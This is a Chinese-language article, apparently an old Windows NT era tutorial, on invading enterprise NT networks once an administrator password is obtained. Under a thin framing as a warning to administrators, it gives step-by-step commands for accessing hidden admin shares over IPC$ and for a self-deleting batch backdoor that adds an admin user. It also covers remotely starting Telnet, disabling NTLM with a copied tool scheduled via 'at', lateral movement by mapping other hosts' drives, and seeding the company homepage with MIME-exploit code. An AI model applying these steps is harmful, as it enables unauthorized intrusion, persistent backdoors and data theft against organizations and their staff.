如今,大多数企业仍在使用NT系统。客观来说,NT系统确实非常适合企业级应用场景。但问题在于,“黑客”的攻击正让企业信息安全面临严峻威胁……
一旦获取NT系统的管理员密码,基本上就等于拿到了整个系统的“钥匙”——可以执行任何操作。但具体能执行哪些操作?能详细说明的人并不多。许多企业系统管理员甚至认为密码为空也无大碍,因为他们根本不清楚“黑客”获得密码后会采取什么行动。本文要介绍的是,在获得NT管理员密码后,入侵企业计算机群的初级与中级手法。尤其是在大型企业中,系统管理员的密码往往直接关系到公司信息泄露、数据丢失,严重时甚至会危及企业的生存与发展。
先假设一种场景:已经获取了某企业一台服务器(IP地址为192.168.0.1)的Administrator密码,且对方没有关闭139端口。
1. 普通共享资源的入侵
这种入侵手法可以说是NT环境下最简单的操作。只需在本地机器的地址栏输入“\\192.168.0.1”,等待1-2秒,对方就会提示输入用户名和密码。输入已获取的用户名和密码后,即可进入并查看该服务器上的所有共享资源。由于拥有管理员权限,几乎可以删除共享资源中的任何内容——当然,如果对方将共享设置为只读,则无法进行删除操作。
2. 默认及隐藏共享资源的入侵
在介绍这种方法之前,先来了解一下NT的IPC$连接。默认情况下,NT系统存在一个特殊的隐藏共享——IPC$共享。IPC$专门用于NT系统中的管道通信,NT系统之间的许多通信都依赖IPC$完成。
这种手法比前一种稍显高明,但依然非常简单。关键在于“黑客”如何利用——有人可能只会删除文件,而有人却能借此留下后门,以便下次密码更改后仍能通过后门进入系统。同样,在本地机器上打开一个窗口,输入“\\192.168.0.1”,输入密码后看到的内容与之前相同。不过,此时已经建立了IPC$连接——实际上,在提示输入密码时,就已经在建立IPC$连接了。接着,再次在地址栏输入地址,这次输入的内容有所不同:输入“\\192.168.0.1\c$”,稍等片刻就能看到对方C盘下的所有内容。想看D盘?同样,输入“\\192.168.0.1\D$”即可查看。如果想更换该企业的主页(如果对方还是Web服务器),简直易如反掌。由于拥有管理员权限,自然可以写入文件。至于是否留下后门,则取决于“黑客”的意图。通常,他们会在C盘(假设系统位于C:\WINNT下)创建一个批处理文件,例如命名为hack.bat,内容通常如下:
net user hack 1234 /add
net localgroup administrators hack /add
del C:\Documents and Settings\Administrator\开始\菜单\程序\启动\hack.lnk
del c:\winnt\hack.bat
这样一来,当企业系统管理员下次登录时,系统就会悄悄添加一个用户。当然,添加用户是比较笨拙的后门方法,因此许多“黑客”会选择植入一个能常驻内存的小程序,再创建类似的批处理文件和快捷方式,从而长期控制这台主机。
3. IPC$连接入侵的高级手段
不过,没有哪个“黑客”会傻到非要等系统管理员下次登录才动手。他们往往会采用更巧妙的手法,迅速留下后门。首先建立IPC$连接,然后通过各种方式开后门,例如开启Telnet服务。如何开启Telnet服务呢?方法有很多。微软自己就发布过一个小工具“netsvc.exe”,专门让系统管理员在建立IPC$连接后远程启动服务。但这个工具到了“黑客”手中,自然也成为必不可少的利器。在命令提示符下输入“netsvc \\192.168.0.1 telnet /start”,大约5分钟后对方的Telnet服务就会开启。然后输入“telnet 192.168.0.1”——注意,需要NTLM验证。这又将“黑客”挡在了门外。此时,他们又会使用另一个小工具,专门用于关闭NTLM验证,例如ntlm.exe。输入“copy ntlm.exe \\192.168.0.1\admin$\system32”,将ntlm.exe复制到对方服务器的system32目录下。复制完成后,如何让它运行呢?方法很多。先执行“net time \\192.168.0.1”查看对方系统时间,假设显示为18:00。再输入“at \\192.168.0.1 18:02 ntlm.exe”,稍等片刻,命令提示符会显示新加任务ID=1,表示对方系统将在18:02运行ntlm.exe。等到18:02之后,再输入“telnet 192.168.0.1”,此时会提示输入用户名和密码,输入已获取的管理员用户名和密码,即可成功Telnet到企业服务器……
不过,这样既用netsvc又用at,实在繁琐。现在介绍另一种方法:首先还是要感谢微软为NT系统管理员提供的便捷管理功能——这些功能到了“黑客”手中,简直就是福音。建立好IPC$连接后(IPC$连接确实是一种功能强大的管理连接),打开本地计算机的“计算机管理”,右键点击“计算机管理(本地)”,选择“连接到另一台计算机”,在名称中输入“192.168.0.1”。确定后,NT系统会先检查是否已建立IPC$连接——有则直接连接。现在就可以直接管理192.168.0.1了,比如查看日志、启动服务(当然包括Telnet)、管理IIS,几乎无所不能。多研究一下,甚至能注销对方当前登录用户、重启或关闭对方计算机。NT系统到了“黑客”手中,整个系统都可以变成功能强大的“黑客”工具。启动了Telnet,可还是需要NTLM验证怎么办?很简单:在本地计算机上创建一个用户名和密码相同的用户,如果已有用户则修改密码使其相同,然后用这个用户登录本地系统,再执行“telnet 192.168.0.1”——注意,连密码都不需要输入了,因为已经通过了NTLM验证。
现在,那些安全意识薄弱的企业系统管理员,应该已经明白暴露管理员密码的危险性了吧?还没完呢。都到这一步了还没完?机器已经被完全控制了呀——是的,还没完,请继续往下看。
4. 深入入侵
这一步就需要“黑客”具备丰富的经验,实战操作能力要求很高,已经无法用文字详细描述,下面只能粗略介绍。
“黑客”当然不会在攻陷一台服务器后就立刻收手。他们会深入入侵企业内网,尤其是在企业中,通常都是计算机群。那些商业间谍“黑客”更想入侵到企业内部。而许多企业系统管理员喜欢将所有服务器的密码设置成相同,这正好为“黑客”提供了良好的入侵条件。Telnet到对方服务器后,输入“net view”,整个工作组或域内的计算机便一览无余。同样,在Telnet中建立IPC$连接,然后像入侵这台服务器一样入侵其他机器。前面提到的建立IPC$连接都是使用图形界面,但现在已经没有图形界面了。假设内网中192.168.0.2的密码与这台服务器相同,可以用“net use \\192.168.0.2\IPC$ passwd /user:username”来建立IPC$连接,然后映射驱动盘:“net use z: \\192.168.0.2\c$”,这样就把192.168.0.2的C盘映射到192.168.0.1的Z盘了。输入“z:”,就可以像浏览本地硬盘一样浏览192.168.0.2的C盘。如果对方是商业间谍,一旦发现其中有价值的信息,后果不堪设想。当然,这还算是最好的情况——实际上,还有相当一部分企业系统管理员不会将密码设置成一样。接下来就要看网络的具体情况了。如果入侵的恰好是一台主域控制器,那商业间谍可就高兴坏了——赶紧把自己升级为域管理员,整个企业一个域内的机器都落到了手中。当然,在“黑客”眼中这也算是一种非常理想的情况。但微软的漏洞越来越多,加上“黑客”经验的差异,也决定着入侵内网的成功率。
在企业中,通常直接连接互联网的是Web服务器。一个有耐心的“黑客”,一个想入侵这家企业的商业间谍,自然会不惜一切手段。其中一个手法就是利用Web服务。微软公司今年出现的MIME漏洞就很有利用价值。这里顺便介绍一下MIME漏洞:MIME在处理不正常的MIME类型时存在问题,攻击者可以创建一封包含可执行文件附件的HTML邮件,并修改MIME头,使IE不正确处理这个MIME,从而执行指定的可执行文件。有了这个漏洞,“黑客”会更换Web服务器的主页,在主页中插入MIME漏洞攻击代码,让企业内部的员工在浏览自己公司主页时运行指定的程序(企业内部员工不可能从来不看自己的主页,尤其是企业负责人,他们一般都会不定期检查主页)。这样,他们在浏览主页时就无声无息地执行了“黑客”指定的程序——可能是木马,也可能是添加用户的批处理文件。
从以上内容可以看出,一旦NT系统的密码泄露,后果有多严重,尤其是在企业中。同时,企业网络的拓扑结构是否合理也起着非常关键的作用。而且,“黑客”尤其是商业间谍所利用的手法远不止这些,他们还可以通过电子邮件等各种途径获取企业内部的敏感信息或保密信息。
5. 其它入侵
还可以通过3389端口入侵。3389是Win2000系统自带的,是一个图形界面的远程管理服务端口。“黑客”一旦拥有管理员密码,危险性就更加直观。另外,还有通过IIS管理入侵的方式。默认情况下,IIS提供一个Web方式的管理服务,在c:\inetpub\wwwroot下有一个名为iisstar.asp的文件。如果可以访问,并且拥有管理员密码(NT4中不一定是管理员,只要是NT的合法账号即可),就可以远程通过Web方式管理IIS信息服务,然后通过特殊手法进一步控制整个机器,进而控制整个企业……
